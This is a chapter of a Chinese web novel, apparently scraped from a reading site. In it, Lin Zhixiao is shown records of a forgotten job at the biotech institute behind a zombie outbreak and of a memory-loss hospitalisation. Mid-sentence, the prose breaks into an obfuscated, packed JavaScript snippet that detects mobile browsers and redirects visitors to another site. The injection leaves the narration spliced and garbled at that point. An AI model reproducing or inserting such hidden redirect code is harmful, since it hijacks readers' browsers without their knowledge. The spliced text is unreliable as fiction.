他的表情没什么变化,但林知晓注意到,他的手从口袋里拿了出来。 “周组长,”林知晓的声音有点紧,“这什么意思?” 周筠靠在椅背上。 “林女士,我查了你的资料之后,发现一些事——” “你的记忆,似乎和你的档案,对不上。”她似乎也觉得有些残忍,“而且……你的档案有被人为封存的迹象。” 房间里很安静。 顾小雨又缩回角落,抱着薯片,看着她们。温枝垂着头,。 林知晓盯着那份文件。 三年零两个月。 她住在这里三年零两个月。 那她为什么记得只有两年? “还有一件事。”周筠从抽屉里拿出另一张纸,推过来。 是一份工作记录。 “你之前说你是全职写作。”周筠说,“但你名下的社保记录显示,三年前,你在一家公司上班。行政岗。干了半年,辞职。” 她顿了顿。 “那家公司的名字,你可能还记得——” 林知晓低头看去。 那行字跳进眼里。 城东生物技术研究所。行政部。入职时间:三年零五个月前。离职时间:三年零一个月前。 林知晓的身体开始发抖。 她在那工作过?那个丧尸病毒爆发的最初地点? 她完全不记得。 房间里很安静。林知晓盯着那份工作记录,脑子里一片空白。 城东生物技术研究所。行政部。三年零五个月前入职,三年零一个月前离职。 她依然一个字都想不起来。 “林知晓?”温枝的声音从旁边传来,带着担忧。 林知晓没动。 她在那工作过?她去过那个地方?见过那些人? 她低头看着自己的手。这双手敲过那个研究所的键盘吗?接过那里的电话吗?签过那里的文件吗? 她什么都想不起来。 林知晓此时只觉得自己陷在一个巨大的黑洞里,并且越陷越深,难以自拔。 她甚至开始怀疑自己,所谓的“读心术”真的只是天赐的特殊能力吗?没有过去,也看不清未来的她……还称得上是人吗? 温枝站在她的身后,没有上前,也同样沉默。 室内陷入长久的寂静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324008|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周筠靠在椅背上,没说话。她在等林知晓的反应……是伪装的太好,还是在她身上果真藏着什么秘密呢? 明朝从窗边走过来,站在林知晓旁边。他没碰到她,只是站着。 “周组长。”他开口。 周筠抬眼看他。 “这些资料,什么时候发现的?” “昨晚。”周筠说,“她说了钥匙的事之后,我让档案室调了她的全套记录。” 她顿了顿。 “本来只是想看看有没有什么异常。结果——” 她看着林知晓,神色复杂地说:“结果异常得有点多。” 林知晓终于有了反应,抬起头问:“还有什么?” 周篁从手上的文件夹里抽出出一张纸递给周筠。 “这是你的医疗记录。”周筠把那张纸举到了林知晓面前,说,“三年前,你在这家医院住过院。” 她把纸推过来。 林知晓低头看。 住院时间:三年零一个月前。住院时长:两周。诊断:脑部外伤后遗症,记忆障碍。 出院记录上写着:患者对受伤前部分记忆存在缺失,经治疗已恢复日常生活能力,建议定期复查。 林知晓盯着那行字。 记忆障碍。 “车祸。”周筠说,“你下班路上被一辆车撞了。肇事者逃逸,到现在没抓到。” 她顿了顿。 “你昏迷了两天。醒来之后,对很多事情都记不清了。医生说可能是创伤后的应激反应,也可能是脑部受损。观察了两周,没什么大问题,就让你出院了。” 林知晓听着这些话,像在听别人的故事。 她没有被车撞过。 她没有失忆过。 她没有—— 林知晓的手无意识地触摸着自己的双臂。手指修长,指甲剪得很短,可指尖抚过肌肤的触感依然如此清晰。但她不记得它们受过伤,不记得它们躺过病床。 “林知晓。”明朝的声音很低,“还好吗?” 林知晓抬起头,看着他。 他的眼睛很平静。 她深吸一口气。 “还好。”她后退几步,扶着墙面说,声音有点哑,“就是……需要消化一下。” 明朝点点头。 周筠开口:“林女士,我不是要吓你。我只是想告诉你——” “我知道。”林知晓打断她,“你想告诉我,我的记忆真的有问题。谢谢。” 周筠愣了一下,然后点点头。 “那接下来,你想怎么办?” 林知晓沉默了几秒,然后她转头看着顾小雨。 “小雨。” 顾小雨从薯片袋里抬起头。 “你能再试试那把钥匙吗?” 顾小雨看着她。 “我说过很多次了,找不到——” “不是找钥匙。”林知晓说,“是找别的。” 她从口袋里掏出钥匙串,放在茶几上,神色莫名坚定。 “这个钥匙串,”她说,“我在上面挂了多久?这个你有办法知道吗?” 顾小雨盯着钥匙串,没动。 周筠开口:“小雨,试试吧。” 顾小雨的嘴唇拉成一条平直的线,终于还是站起来,走到茶几边,把手放在钥匙串上。 她再次闭上眼睛。 时间在这一刻仿佛被拉得极长,林知晓感觉头昏脑胀,只有那串钥匙,在眼前一摆、又一摆,像规则运动的钟摆。 “三年。”顾小雨的声音打破了眼前的幻境,她说,“你挂了三年零两个月。”